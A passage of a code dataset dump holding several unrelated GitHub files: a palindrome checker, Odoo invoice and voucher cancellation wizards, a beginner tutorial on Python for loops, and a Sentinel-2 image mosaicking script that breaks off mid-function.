errors. No\n    additional methods are defined inside.\n    \"\"\"\n    pass\n","repo_name":"gnanarepo/py-schema","sub_path":"pyschema.py","file_name":"pyschema.py","file_ext":"py","file_size_in_byte":21884,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"16958220788","text":"def palindrome(Ville):\r\n    for i in range(len(Ville) // 2):\r\n        if Ville[i] != Ville[-i - 1]:\r\n            return False\r\n    return True\r\n\r\nVille = input(\"Entrez le nom d'une ville : \")\r\n\r\nif palindrome(Ville) == True:\r\n    print(\"C'est un palindrome.\")\r\nelse:\r\n    print(\"Ce n'est pas un palindrome.\")\r\n","repo_name":"LaurentJouron/Premier_script-suivi_de_tuto","sub_path":"Verification_palindrome.py","file_name":"Verification_palindrome.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23707081092","text":"# -*- coding: utf-8 -*-\nfrom openerp import models, fields, api\n\n\nclass AccountInvoiceCancel(models.TransientModel):\n    _inherit = 'account.invoice.cancel'\n\n    cancel_date_document = fields.Date(\n        string='Cancel Document Date',\n        required=True,\n    )\n    cancel_date = fields.Date(\n        string='Cancel Posting Date',\n        required=True,\n    )\n\n    @api.model\n    def default_get(self, field_list):\n        res = super(AccountInvoiceCancel, self).default_get(field_list)\n        Invoice = self.env['account.invoice']\n        invoice = Invoice.browse(self._context.get('active_id'))\n        res['cancel_date_document'] = invoice.move_id and \\\n            invoice.move_id.date_document or invoice.date_document\n        res['cancel_date'] = invoice.move_id and \\\n            invoice.move_id.date or invoice.date_invoice\n        return res\n\n    @api.multi\n    def confirm_cancel(self):\n        self.ensure_one()\n        invoice_ids = self._context.get('active_ids')\n        assert len(invoice_ids) == 1, \"Only 1 invoice expected\"\n        invoice = self.env['account.invoice'].browse(invoice_ids)\n        invoice.write({'cancel_date_document': self.cancel_date_document,\n                       'cancel_date': self.cancel_date})\n        return super(AccountInvoiceCancel, self).confirm_cancel()\n\n\nclass AccountVoucherCancel(models.TransientModel):\n    _inherit = 'account.voucher.cancel'\n\n    cancel_date_document = fields.Date(\n        string='Cancel Document Date',\n        required=True,\n    )\n    cancel_date = fields.Date(\n        string='Cancel Posting Date',\n        required=True,\n    )\n\n    @api.model\n    def default_get(self, field_list):\n        res = super(AccountVoucherCancel, self).default_get(field_list)\n        Voucher = self.env['account.voucher']\n        voucher = Voucher.browse(self._context.get('active_id'))\n        res['cancel_date_document'] = voucher.move_id and \\\n            voucher.move_id.date_document or voucher.date_document\n        res['cancel_date'] = voucher.move_id and \\\n            voucher.move_id.date or voucher.date\n        return res\n\n    @api.multi\n    def confirm_cancel(self):\n        self.ensure_one()\n        voucher_ids = self._context.get('active_ids')\n        assert len(voucher_ids) == 1, \"Only 1 payment expected\"\n        voucher = self.env['account.voucher'].browse(voucher_ids)\n        voucher.write({'cancel_date_document': self.cancel_date_document,\n                       'cancel_date': self.cancel_date})\n        return super(AccountVoucherCancel, self).confirm_cancel()\n\n\nclass AccountBankReceiptCancel(models.TransientModel):\n    _inherit = 'account.bank.receipt.cancel'\n\n    cancel_date_document = fields.Date(\n        string='Cancel Document Date',\n        required=True,\n    )\n    cancel_date = fields.Date(\n        string='Cancel Posting Date',\n        required=True,\n    )\n\n    @api.model\n    def default_get(self, field_list):\n        res = super(AccountBankReceiptCancel, self).default_get(field_list)\n        BankReceipt = self.env['account.bank.receipt']\n        receipt = BankReceipt.browse(self._context.get('active_id'))\n        res['cancel_date_document'] = receipt.move_id and \\\n            receipt.move_id.date_document or receipt.date_document\n        res['cancel_date'] = receipt.move_id and \\\n            receipt.move_id.date or receipt.receipt_date\n        return res\n\n    @api.multi\n    def confirm_cancel(self):\n        self.ensure_one()\n        receipt_ids = self._context.get('active_ids')\n        assert len(receipt_ids) == 1, \"Only 1 bank receipt expected\"\n        receipt = self.env['account.bank.receipt'].browse(receipt_ids)\n        receipt.write({'cancel_date_document': self.cancel_date_document,\n                       'cancel_date': self.cancel_date})\n        return super(AccountBankReceiptCancel, self).confirm_cancel()\n","repo_name":"ecosoft-odoo/pb2_addons","sub_path":"pabi_account/wizard/cancel_reason.py","file_name":"cancel_reason.py","file_ext":"py","file_size_in_byte":3831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"21758859347","text":"# Loops-1\r\n\"\"\"\r\nFor loops in Python\r\nFor loops are a way to iterate over items or elements\r\nFor loops are an excellent way to go through content in a distinct manner\r\nFor Loops in Python allows you to\r\n-> Predefine what you want to start counting with,\r\n-> How you want your step size to be\r\n-> When to end.\r\n-> For loops in Python are For___in___ loops.\r\nThey iterate over something given to go through or go over it.\r\n\"\"\"\r\n\r\n# Looping through Strings\r\n# Lets start with an example\r\n# variable = value\r\nWord = \"Hello\"\r\n#Lets declare a List called Letters\r\nLetters = []\r\n# Now lets try to printout individual letters\r\nfor w in Word:\r\n    print(w)\r\n    if w == \"e\":\r\n        print(\"what a funny letter\")\r\n    Letters.append(w)\r\nprint(Letters)\r\n\r\nfor l in Letters:\r\n    print(l)\r\n\r\n# Looping through Lists\r\nNumbers = [1,2,3,4,5]\r\nfor n in Numbers:\r\n    if n%2 == 1:\r\n        ## n%int is a modulo division stmt, which defines that \"n\" perfectly fits within the range by specific range of divisions in whole number.\r\n        ## 1%2 = 1\r\n        ## 2%2 = 0\r\n        ## 3%2 = 1\r\n        ## 4%2 = 0\r\n        ## 5%2 = 1\r\n        ## variable%2 == 0 -> Variable is an even number\r\n        ## variable%2 == 1 -> Variable is an odd number\r\n        print(n)\r\n# Looping in a range\r\n# General Func:\r\n# for n in range(starting_value,stopping_value,increment)\r\n# stopping value is non inclusive\r\nNumbers2 = []\r\n# Printing every number from 0\r\nfor n2 in range(10):\r\n    print(n2)\r\n    Numbers2.append(n2)\r\nprint(Numbers2)\r\n\r\n# Printing Odd numbers from 0 using 2 as increment\r\nNumbers3 = []\r\nfor n3 in range(1,10,2):\r\n    print(n3)\r\n    Numbers3.append(n3)\r\nprint(Numbers3)\r\n","repo_name":"hashrm/Learning-Python-3","sub_path":"Python Is Easy Notes - Hash/06 Loops-01 For Loops.py","file_name":"06 Loops-01 For Loops.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40929625860","text":"import sys; sys.path.append('..'); sys.path.append('../lib/')\nfrom lib.raster_io import raster_to_array, array_to_raster, raster_to_metadata\nfrom lib.raster_resample import resample\nfrom lib.stats_filters import mode_filter, feather_s2_filter\nfrom lib.stats_local_no_kernel import radiometric_quality\nfrom lib.stats_kernel import create_kernel\nfrom lib.utils_core import madstd\nfrom multiprocessing import Pool, cpu_count\nfrom time import time\nimport cv2\nimport os\nimport xml.etree.ElementTree as ET\nimport datetime\nfrom shutil import copyfile\nimport math\nfrom glob import glob\nimport numpy as np\n\ndef get_band_paths(safe_folder):\n    bands = {\n        \"10m\": {\n          \"B02\": None,\n          \"B03\": None,\n          \"B04\": None,\n          \"B08\": None,\n        },\n        \"20m\": {\n          \"B02\": None,\n          \"B03\": None,\n          \"B04\": None,\n          \"B05\": None,\n          \"B06\": None,\n          \"B07\": None,\n          \"B8A\": None,\n          \"B11\": None,\n          \"B12\": None,\n          \"SCL\": None,\n        },\n        \"60m\": {\n          \"B01\": None,\n          \"B02\": None,\n          \"B03\": None,\n          \"B04\": None,\n          \"B05\": None,\n          \"B06\": None,\n          \"B07\": None,\n          \"B8A\": None,\n          \"B09\": None,\n          \"B11\": None,\n          \"B12\": None,\n          \"SCL\": None,        \n        },\n        \"QI\": {\n            'CLDPRB_20m': None,\n            'CLDPRB_60m': None,\n        }\n    }\n    \n    assert os.path.isdir(safe_folder), f\"Could not find folder: {safe_folder}\"\n    \n    bands['QI']['CLDPRB_20m'] = glob(f\"{safe_folder}/GRANULE/*/QI_DATA/MSK_CLDPRB_20m.jp2\")[0]\n    bands['QI']['CLDPRB_60m'] = glob(f\"{safe_folder}/GRANULE/*/QI_DATA/MSK_CLDPRB_60m.jp2\")[0]\n    \n    bands_10m = glob(f\"{safe_folder}/GRANULE/*/IMG_DATA/R10m/*_???_*.jp2\")\n    for band in bands_10m:\n        basename = os.path.basename(band)\n        band_name = basename.split('_')[2]\n        if band_name == 'B02':\n            bands['10m']['B02'] = band\n        if band_name == 'B03':\n            bands['10m']['B03'] = band\n        if band_name == 'B04':\n            bands['10m']['B04'] = band\n        if band_name == 'B08':\n            bands['10m']['B08'] = band\n        if band_name == 'AOT':\n            bands['10m']['AOT'] = band\n\n    bands_20m = glob(f\"{safe_folder}/GRANULE/*/IMG_DATA/R20m/*.jp2\")\n    for band in bands_20m:\n        basename = os.path.basename(band)\n        band_name = basename.split('_')[2]\n        if band_name == 'B02':\n            bands['20m']['B02'] = band\n        if band_name == 'B03':\n            bands['20m']['B03'] = band\n        if band_name == 'B04':\n            bands['20m']['B04'] = band\n        if band_name == 'B05':\n            bands['20m']['B05'] = band\n        if band_name == 'B06':\n            bands['20m']['B06'] = band\n        if band_name == 'B07':\n            bands['20m']['B07'] = band\n        if band_name == 'B8A':\n            bands['20m']['B8A'] = band\n        if band_name == 'B09':\n            bands['20m']['B09'] = band\n        if band_name == 'B11':\n            bands['20m']['B11'] = band\n        if band_name == 'B12':\n            bands['20m']['B12'] = band\n        if band_name == 'SCL':\n            bands['20m']['SCL'] = band\n        if band_name == 'AOT':\n            bands['20m']['AOT'] = band\n\n    bands_60m = glob(f\"{safe_folder}/GRANULE/*/IMG_DATA/R60m/*_???_*.jp2\")\n    for band in bands_60m:\n        basename = os.path.basename(band)\n        band_name = basename.split('_')[2]\n        if band_name == 'B01':\n            bands['60m']['B01'] = band\n        if band_name == 'B02':\n            bands['60m']['B02'] = band\n        if band_name == 'B03':\n            bands['60m']['B03'] = band\n        if band_name == 'B04':\n            bands['60m']['B04'] = band\n        if band_name == 'B05':\n            bands['60m']['B05'] = band\n        if band_name == 'B06':\n            bands['60m']['B06'] = band\n        if band_name == 'B07':\n            bands['60m']['B07'] = band\n        if band_name == 'B8A':\n            bands['60m']['B8A'] = band\n        if band_name == 'B09':\n            bands['60m']['B09'] = band\n        if band_name == 'B11':\n            bands['60m']['B11'] = band\n        if band_name == 'B12':\n            bands['60m']['B12'] = band\n        if band_name == 'SCL':\n            bands['60m']['SCL'] = band\n        if band_name == 'AOT':\n            bands['60m']['AOT'] = band\n    \n    for outer_key in bands:\n        for inner_key in bands[outer_key]:\n            current_band = bands[outer_key][inner_key]\n            assert current_band != None, f'{outer_key} - {inner_key} was not found. Verify the folders. Was the decompression interrupted?'\n\n    return bands\n\n\ndef get_metadata(safe_folder):\n    metadata = {\n        \"PRODUCT_START_TIME\": None,\n        \"PRODUCT_STOP_TIME\": None,\n        \"PRODUCT_URI\": None,\n        \"PROCESSING_LEVEL\": None,\n        \"PRODUCT_TYPE\": None,\n        \"PROCESSING_BASELINE\": None,\n        \"GENERATION_TIME\": None,\n        \"SPACECRAFT_NAME\": None,\n        \"DATATAKE_SENSING_START\": None,\n        \"SENSING_ORBIT_NUMBER\": None,\n        \"SENSING_ORBIT_DIRECTION\": None,\n        \"EXT_POS_LIST\": None,\n        \"Cloud_Coverage_Assessment\": None,\n        \"NODATA_PIXEL_PERCENTAGE\": None,\n        \"SATURATED_DEFECTIVE_PIXEL_PERCENTAGE\": None,\n        \"DARK_FEATURES_PERCENTAGE\": None,\n        \"CLOUD_SHADOW_PERCENTAGE\": None,\n        \"VEGETATION_PERCENTAGE\": None,\n        \"NOT_VEGETATED_PERCENTAGE\": None,\n        \"WATER_PERCENTAGE\": None,\n        \"UNCLASSIFIED_PERCENTAGE\": None,\n        \"MEDIUM_PROBA_CLOUDS_PERCENTAGE\": None,\n        \"HIGH_PROBA_CLOUDS_PERCENTAGE\": None,\n        \"THIN_CIRRUS_PERCENTAGE\": None,\n        \"SNOW_ICE_PERCENTAGE\": None,\n        \"ZENITH_ANGLE\": None,\n        \"AZIMUTH_ANGLE\": None,\n        \"SUN_ELEVATION\": None,\n        \"folder\": safe_folder,\n        \"gains\": {}\n    }\n\n    meta_xml = os.path.join(safe_folder, \"MTD_MSIL2A.xml\")\n    meta_solar = glob(safe_folder + '/GRANULE/*/MTD_TL.xml')[0]\n\n    assert os.path.isfile(meta_xml), f\"{safe_folder} did not contain a valid metadata file.\"\n    assert os.path.isfile(meta_solar), f\"{meta_solar} did not contain a valid metadata file.\"\n\n    # Parse the xml tree and add metadata\n    root = ET.parse(meta_xml).getroot()\n    for elem in root.iter():\n        if elem.tag in metadata:\n            try:\n                metadata[elem.tag] = float(elem.text)  # Number?\n            except:\n                try:\n                    metadata[elem.tag] = datetime.datetime.strptime(\n                        elem.text, \"%Y-%m-%dT%H:%M:%S.%f%z\"\n                    )  # Date?\n                except:\n                    metadata[elem.tag] = elem.text\n        if elem.tag == 'PHYSICAL_GAINS':\n            if elem.attrib['bandId'] == '0':\n                metadata['gains']['B01'] = float(elem.text)\n            if elem.attrib['bandId'] == '1':\n                metadata['gains']['B02'] = float(elem.text)\n            if elem.attrib['bandId'] == '2':\n                metadata['gains']['B03'] = float(elem.text)\n            if elem.attrib['bandId'] == '3':\n                metadata['gains']['B04'] = float(elem.text)\n            if elem.attrib['bandId'] == '4':\n                metadata['gains']['B05'] = float(elem.text)\n            if elem.attrib['bandId'] == '5':\n                metadata['gains']['B06'] = float(elem.text)\n            if elem.attrib['bandId'] == '6':\n                metadata['gains']['B07'] = float(elem.text)\n            if elem.attrib['bandId'] == '7':\n                metadata['gains']['B08'] = float(elem.text)\n            if elem.attrib['bandId'] == '8':\n                metadata['gains']['B8A'] = float(elem.text)\n            if elem.attrib['bandId'] == '9':\n                metadata['gains']['B09'] = float(elem.text)\n            if elem.attrib['bandId'] == '10':\n                metadata['gains']['B10'] = float(elem.text)\n            if elem.attrib['bandId'] == '11':\n                metadata['gains']['B11'] = float(elem.text)\n            if elem.attrib['bandId'] == '12':\n                metadata['gains']['B12'] = float(elem.text)\n\n    # Parse the xml tree and add metadata\n    root = ET.parse(meta_solar).getroot()\n    for elem in root.iter():\n        if elem.tag == 'Mean_Sun_Angle':\n            metadata['ZENITH_ANGLE'] = float(elem.find('ZENITH_ANGLE').text)\n            metadata['SUN_ELEVATION'] = 90 - metadata['ZENITH_ANGLE']\n            metadata['AZIMUTH_ANGLE'] = float(elem.find('AZIMUTH_ANGLE').text)\n\n    # Did we get all the metadata?\n    for name in metadata:\n        assert (\n            metadata[name] != None\n        ), f\"Input metatadata file invalid. {metadata[name]}\"\n\n    metadata[\"INVALID\"] = (\n        metadata['NODATA_PIXEL_PERCENTAGE']\n        + metadata[\"SATURATED_DEFECTIVE_PIXEL_PERCENTAGE\"]\n        + metadata[\"CLOUD_SHADOW_PERCENTAGE\"]\n        + metadata[\"MEDIUM_PROBA_CLOUDS_PERCENTAGE\"]\n        + metadata[\"HIGH_PROBA_CLOUDS_PERCENTAGE\"]\n        + metadata[\"THIN_CIRRUS_PERCENTAGE\"]\n        + metadata[\"SNOW_ICE_PERCENTAGE\"]\n        + metadata[\"DARK_FEATURES_PERCENTAGE\"]\n    )\n    \n    metadata[\"timestamp\"] = float(metadata['DATATAKE_SENSING_START'].timestamp())\n\n    return metadata\n\n\ndef assess_radiometric_quality(metadata, calc_quality='high', score=False):\n    if calc_quality == 'high':\n        scl = raster_to_array(metadata['path']['20m']['SCL']).astype('intc')\n        aot = raster_to_array(metadata['path']['20m']['AOT']).astype('intc')\n        band_02 = raster_to_array(metadata['path']['20m']['B02']).astype('intc')\n        band_12 = raster_to_array(metadata['path']['20m']['B12']).astype('intc')\n        band_cldprb = raster_to_array(metadata['path']['QI']['CLDPRB_20m'])\n        distance = 63\n    else:\n        scl = raster_to_array(metadata['path']['60m']['SCL']).astype('intc')\n        aot = raster_to_array(metadata['path']['60m']['AOT']).astype('intc')\n        band_cldprb = raster_to_array(metadata['path']['QI']['CLDPRB_60m'])\n        band_02 = raster_to_array(metadata['path']['60m']['B02']).astype('intc')\n        band_12 = raster_to_array(metadata['path']['60m']['B12']).astype('intc')\n        distance = 21\n\n    kernel_nodata = create_kernel(201, weighted_edges=False, weighted_distance=False, normalise=False).astype('uint8')\n    \n    # Dilate nodata values by 1km each side \n    nodata_dilated = cv2.dilate((scl == 0).astype('uint8'), kernel_nodata).astype('intc')\n\n    darkprb = np.zeros(scl.shape)\n    darkprb = np.where(scl == 2, 55, 0)\n    darkprb = np.where(scl == 3, 45, darkprb).astype('uint8')\n    darkprb = cv2.GaussianBlur(darkprb, (distance, distance), 0).astype(np.double)\n    band_cldprb = cv2.GaussianBlur(band_cldprb, (distance, distance), 0).astype(np.double)\n    \n    quality = np.zeros(scl.shape, dtype=np.double)\n    \n    td = 0.0 if score is True else metadata['time_difference'] / 86400\n\n    # OBS: the radiometric_quality functions mutates the quality input.\n    combined_score = radiometric_quality(scl, band_02, band_12, band_cldprb, darkprb, aot, nodata_dilated, quality, td, metadata['SUN_ELEVATION'])\n    \n    if score is True:\n        return combined_score\n    \n    blur_dist = 31\n    quality_blurred = cv2.GaussianBlur(quality, (blur_dist, blur_dist), 0).astype(np.double)\n    \n    return quality_blurred, scl\n\n\ndef prepare_metadata(list_of_SAFE_images):\n\n    metadata = []\n\n    # Verify files\n    for index, image in enumerate(list_of_SAFE_images):\n        image_name = os.path.basename(image)\n        assert (len(image_name.split(\"_\")) == 7), f\"Input file has invalid pattern: {image_name}\"\n        assert (image_name.rsplit(\".\")[1] == \"SAFE\"), f\"Input is not a .SAFE folder: {image_name}\"\n\n        # Check if / or // or \\\\ at end of string, if not attach /\n        if image.endswith(\"//\"):\n            list_of_SAFE_images[index] = image[:-2]\n\n        if image.endswith(\"\\\\\"):\n            list_of_SAFE_images[index] = image[:-2]\n\n        if image.endswith(\"/\"):\n            list_of_SAFE_images[index] = image[:-1]\n\n        # Check if safe folder exists\n        assert os.path.isdir(list_of_SAFE_images[index]), f\"Could not find input folder: {list_of_SAFE_images[index]}\"\n\n        # Check if all images are of the same tile.\n        if index == 0:\n            tile_name = image_name.split(\"_\")[5]\n        else:\n            this_tile = image_name.split(\"_\")[5]\n            assert (tile_name == this_tile), f\"Multiple tiles in inputlist: {tile_name}, {this_tile}\"\n\n        image_metadata = get_metadata(list_of_SAFE_images[index])\n        image_metadata['path'] = get_band_paths(list_of_SAFE_images[index])\n        image_metadata['name'] = os.path.basename(os.path.normpath(image_metadata['folder'])).split('_')[-1].split('.')[0]\n        metadata.append(image_metadata)\n\n    # lowest_invalid_percentage = 100\n    best_image = None\n    highest_quality = 0\n\n    for index, value in enumerate(metadata):\n        quality_score = assess_radiometric_quality(value, calc_quality='low', score=True)\n        metadata[index]['quality_score'] = quality_score\n        if quality_score > highest_quality:\n            highest_quality = quality_score\n            best_image = value\n\n    # Calculate the time difference from each image to the best image\n    for meta in metadata:\n        meta['time_difference'] = abs(meta['timestamp'] - best_image['timestamp'])\n\n    # Sort by distance to best_image\n    metadata = sorted(metadata, key=lambda k: -k['quality_score'])\n    \n    return metadata\n\n\n# TODO: handle all bands\n# TODO: add pansharpen\n# TODO: ai resample of SWIR\n\ndef mosaic_tile(\n    list_of_SAFE_images,\n    out_dir,\n    out_name='mosaic',\n    dst_projection=None,\n    feather=True,\n    target_quality=100,\n    threshold_change=0.5,\n    threshold_quality=10.0,\n    feather_dist=21,\n    feather_scl=5,\n    filter_tracking=True,\n    match_mean=True,\n    allow_nodata=False,\n    max_days=120,\n    max_images_include=15,\n    max_images_search=25,\n    output_scl=True,\n    output_tracking=True,\n    output_quality=False,\n    verbose=True,\n):\n    start_time = time()\n\n    # Verify input\n    assert isinstance(list_of_SAFE_images, list), \"list_of_SAFE_images is not a list. [path_to_safe_file1, path_to_safe_file2, ...]\"\n    assert isinstance(out_dir, str), f\"out_dir is not a string: {out_dir}\"\n    assert isinstance(out_name, str), f\"out_name is not a string: {out_name}\"\n    assert len(list_of_SAFE_images) > 1, \"list_of_SAFE_images is empty or only a single image.\"\n\n    if verbose: print('Selecting best image..')\n    metadata = prepare_metadata(list_of_SAFE_images)\n\n    # Sorted by best, so 0 is the best one.\n    best_image = metadata[0]\n    best_image_name = best_image['name']\n\n    if verbose: print(f'Selected: {best_image_name} {out_name}')\n\n    if verbose: print('Preparing base image..')\n    master_quality, master_scl = assess_radiometric_quality(best_image)\n    tracking_array = np.zeros(master_quality.shape, dtype='uint8')\n    \n    if match_mean is True:\n        metadata[0]['scl'] = np.copy(master_scl)\n  \n    time_limit = (max_days * 86400)\n\n    master_quality_avg = (master_quality.sum() / master_quality.size)\n    i = 1  # The 0 index is for the best image\n    processed_images_indices = [0]\n\n    # Loop the images and update the tracking array (SYNTHESIS)\n    if verbose: print(f'Initial. tracking array: (quality {round(master_quality_avg, 2)}%) (0/{max_days} days) (goal {target_quality}%)')\n    while (\n        (master_quality_avg < target_quality)\n        and i < len(metadata) - 1\n        and len(processed_images_indices) <= max_images_include\n    ):\n        if (metadata[i]['time_difference'] > time_limit):\n            i += 1\n            continue\n        \n        if (i >= max_images_search):\n            if (master_scl == 0).sum() == 0 or allow_nodata is True:\n                break\n            if verbose: print('Continuing dispite reaching max_images_search as there is still nodata in tile..')\n\n        # Time difference\n        td = int(round(metadata[i]['time_difference'] / 86400, 0))  \n\n        # Assess quality of current image\n        quality, scl = assess_radiometric_quality(metadata[i])\n\n        # Calculate changes. Always update nodata.\n        change_mask = (quality > master_quality) | ((master_scl == 0) & (scl != 0))\n        percent_change = (change_mask.sum() / change_mask.size) * 100\n        \n        # Calculate the global change in quality\n        quality_global = np.where(change_mask, quality, master_quality)\n        quality_global_avg = quality_global.sum() / quality_global.size\n        quality_global_change = quality_global_avg - master_quality_avg\n    \n        if ((percent_change > threshold_change) and (quality_global_change > threshold_change)):\n            \n            # Udpdate the trackers\n            tracking_array = np.where(change_mask, i, tracking_array).astype('uint8')\n            master_scl = np.where(change_mask, scl, master_scl).astype('intc')\n            master_quality = np.where(change_mask, quality, master_quality).astype(np.double)\n            master_quality_avg = quality_global_avg\n\n            # Save the scene classification in memory. This cost a bit of RAM but makes harmonisation much faster..\n            metadata[i]['scl'] = scl.astype('uint8')\n\n            # Append to the array that keeps track on which images are used in the synth process..\n            processed_images_indices.append(i)\n\n            img_name = metadata[i]['name']\n            if verbose: print(f'Updating tracking array: (quality {round(master_quality_avg, 2)}%) ({td}/{max_days} days) (goal {target_quality}%) (name {img_name})')\n        else:\n            if verbose: print(f'Skipping image due to low change.. ({round(threshold_change, 3)}% threshold) ({td}/{max_days} days)')\n\n        i += 1\n\n    # Free memory\n    change_mask = None\n    change_mask_inv = None\n    quality_global = None\n    quality = None\n    scl = None\n\n    # Only merge images if there are more than one.\n    multiple_images = len(processed_images_indices) > 1\n    if match_mean is True and multiple_images is True:\n        if verbose: print('Harmonising layers..')\n        \n        total_counts = 0\n        counts = []\n        weights = []\n        \n        for i in processed_images_indices:\n            metadata[i]['stats'] = { 'B02': {}, 'B03': {}, 'B04': {}, 'B08': {} }\n            pixel_count = (tracking_array == i).sum()\n            total_counts += pixel_count\n            counts.append(pixel_count)\n        \n        for i in range(len(processed_images_indices)):\n            w = counts[i] / total_counts\n            weights.append(w)\n\n        medians = { 'B02': [], 'B03': [], 'B04': [], 'B08': [] }\n        medians_4 = { 'B02': [], 'B03': [], 'B04': [], 'B08': [] }\n        medians_5 = { 'B02': [], 'B03': [], 'B04': [], 'B08': [] }\n        medians_6 = { 'B02': [], 'B03': [], 'B04': [], 'B08': [] }\n        \n        madstds = { 'B02': [], 'B03': [], 'B04': [], 'B08': [] }\n        madstds_4 = { 'B02': [], 'B03': [], 'B04': [], 'B08': [] }\n        madstds_5 = { 'B02': [], 'B03': [], 'B04': [], 'B08': [] }\n        madstds_6 = { 'B02': [], 'B03': [], 'B04': [], 'B08': [] }\n\n        for v, i in enumerate(processed_images_indices):\n            layer_mask_4 = metadata[i]['scl'] != 4\n            layer_mask_4_sum = (layer_mask_4 == False).sum()\n            layer_mask_5 = metadata[i]['scl'] != 5\n            layer_mask_5_sum = (layer_mask_5 == False).sum()\n            layer_mask_6 = metadata[i]['scl'] != 6\n            layer_mask_6_sum = (layer_mask_6 == False).sum()\n\n            layer_mask = (layer_mask_4 | layer_mask_5 | layer_mask_6 | (metadata[i]['scl'] == 7)) == False\n\n            for band in ['B02', 'B03', 'B04', 'B08']:\n                if band == 'B08':\n                    array = raster_to_array(resample(metadata[i]['path']['10m'][band], reference_raster=metadata[i]['path']['20m']['B02']))\n                else:\n                    array = raster_to_array(metadata[i]['path']['20m'][band])\n\n                calc_array = np.ma.array(array, mask=layer_mask)\n                calc_array_4 = np.ma.array(array, mask=layer_mask_4)\n                calc_array_5 = np.ma.array(array, mask=layer_mask_5)\n                calc_array_6 = np.ma.array(array, mask=layer_mask_6)\n\n                med, mad = madstd(calc_array)\n                if layer_mask_4_sum > 1000:\n                    med_4, mad_4 = madstd(calc_array_4)\n                else:\n                    med_4, mad_4 = madstd(calc_array)\n                \n                if layer_mask_5_sum > 1000:\n                    med_5, mad_5 = madstd(calc_array_5)\n                else:\n                    med_5, mad_5 = madstd(calc_array)\n                \n                if layer_mask_6_sum > 1000:\n                    med_6, mad_6 = madstd(calc_array_6)\n                else:\n                    med_6, mad_6 = madstd(calc_array)\n\n                if med == 0 or mad == 0: med, mad = madstd(array)\n                if med_4 == 0 or mad_4 == 0: med_4, mad_4 = (med, mad)\n                if med_5 == 0 or mad_5 == 0: med_5, mad_5 = (med, mad)\n                if med_6 == 0 or mad_6 == 0: med_6, mad_6 = (med, mad)\n                    \n                medians[band].append(med)\n                medians_4[band].append(med_4)\n                medians_5[band].append(med_5)\n                medians_6[band].append(med_6)\n\n                madstds[band].append(mad)\n                madstds_4[band].append(mad_4)\n                madstds_5[band].append(mad_5)\n                madstds_6[band].append(mad_6)\n        \n        targets_median = { 'B02': None, 'B03': None, 'B04': None, 'B08': None }\n        targets_median_4 = { 'B02': None, 'B03': None, 'B04': None, 'B08': None }\n        targets_median_5 = { 'B02': None, 'B03': None, 'B04': None, 'B08': None }\n        targets_median_6 = { 'B02': None, 'B03': None, 'B04': None, 'B08': None }\n\n        targets_madstd = { 'B02': None, 'B03': None, 'B04': None, 'B08': None }\n        targets_madstd_4 = { 'B02': None, 'B03': None, 'B04': None, 'B08': None }\n        targets_madstd_5 = { 'B02': None, 'B03': None, 'B04': None, 'B08': None }\n        targets_madstd_6 = { 'B02': None, 'B03': None, 'B04': None, 'B08': None }\n        \n        for band in ['B02', 'B03', 'B04', 'B08']:\n            targets_median[band] = np.average(medians[band], weights=weights)\n            targets_median_4[band] = np.average(medians_4[band], weights=weights)\n            targets_median_5[band] = np.average(medians_5[band], weights=weights)\n            targets_median_6[band] = np.average(medians_6[band], weights=weights)\n\n            targets_madstd[band] = np.average(madstds[band], weights=weights)\n            targets_madstd_4[band] = np.average(madstds_4[band], weights=weights)\n            targets_madstd_5[band] = np.average(madstds_5[band], weights=weights)\n            targets_madstd_6[band] = np.average(madstds_6[band], weights=weights)\n    \n        for v, i in enumerate(processed_images_indices):\n            for band in ['B02', 'B03', 'B04', 'B08']:\n                metadata[i]['stats'][band]['src_median'] = medians[band][v] if medians[band][v] > 0 else targets_median[band]\n                metadata[i]['stats'][band]['src_median_4'] = medians_4[band][v] if medians_4[band][v] > 0 else targets_median_4[band]\n                metadata[i]['stats'][band]['src_median_5'] = medians_5[band][v] if medians_5[band][v] > 0 else targets_median_5[band]\n                metadata[i]['stats'][band]['src_median_6'] = medians_6[band][v] if medians_6[band][v] > 0 else targets_median_6[band]\n\n                metadata[i]['stats'][band]['src_madstd'] = madstds[band][v] if madstds[band][v] > 0 else targets_madstd[band]\n                metadata[i]['stats'][band]['src_madstd_4'] = madstds_4[band][v] if madstds_4[band][v] > 0 else targets_madstd_4[band]\n                metadata[i]['stats'][band]['src_madstd_5'] = madstds_5[band][v] if madstds_5[band][v] > 0 else targets_madstd_5[band]\n                metadata[i]['stats'][band]['src_madstd_6'] = madstds_6[band][v] if madstds_6[band][v] > 0 else targets_madstd_6[band]\n\n                metadata[i]['stats'][band]['target_median'] = targets_median[band]\n                metadata[i]['stats'][band]['target_median_4'] = targets_median_4[band]\n                metadata[i]['stats'][band]['target_median_5'] = targets_median_5[band]\n                metadata[i]['stats'][band]['target_median_6'] = targets_median_6[band]\n\n                metadata[i]['stats'][band]['target_madstd'] = targets_madstd[band]\n                metadata[i]['stats'][band]['target_madstd_4'] = targets_madstd_4[band]\n                metadata[i]['stats'][band]['target_madstd_5'] = targets_madstd_5[band]\n                metadata[i]['stats'][band]['target_madstd_6'] = targets_madstd_6[band]\n        \n    # Clear memory of scl images\n    for j in range(len(metadata)):\n        metadata[j]['scl'] = None\n\n    if output_tracking is True:\n        array_to_raster(tracking_array.astype('uint8'), reference_raster=best_image['path']['20m']['B04'], out_raster=os.path.join(out_dir, f\"tracking_{out_name}.tif\"), dst_projection=dst_projection)\n\n    if output_scl is True:\n        array_to_raster(master_scl.astype('uint8'), reference_raster=best_image['path']['20m']['B04'], out_raster=os.path.join(out_dir, f\"scl_{out_name}.tif\"), dst_projection=dst_projection)\n        \n    if output_quality is True:\n        array_to_raster(master_quality.astype('float32'), reference_raster=best_image['path']['20m']['B04'], out_raster=os.path.join(out_dir, f\"quality_{out_name}.tif\"), dst_projection=dst_projection)\n\n    # Resample scl and tracking array\n    tracking_array = raster_to_array(resample(array_to_raster(tracking_array, reference_raster=best_image['path']['20m']['B04']), reference_raster=best_image['path']['10m']['B04']))\n    master_scl = raster_to_array(resample(array_to_raster(master_scl, reference_raster=best_image['path']['20m']['B04']), reference_raster=best_image['path']['10m']['B04']))\n\n    # Run a 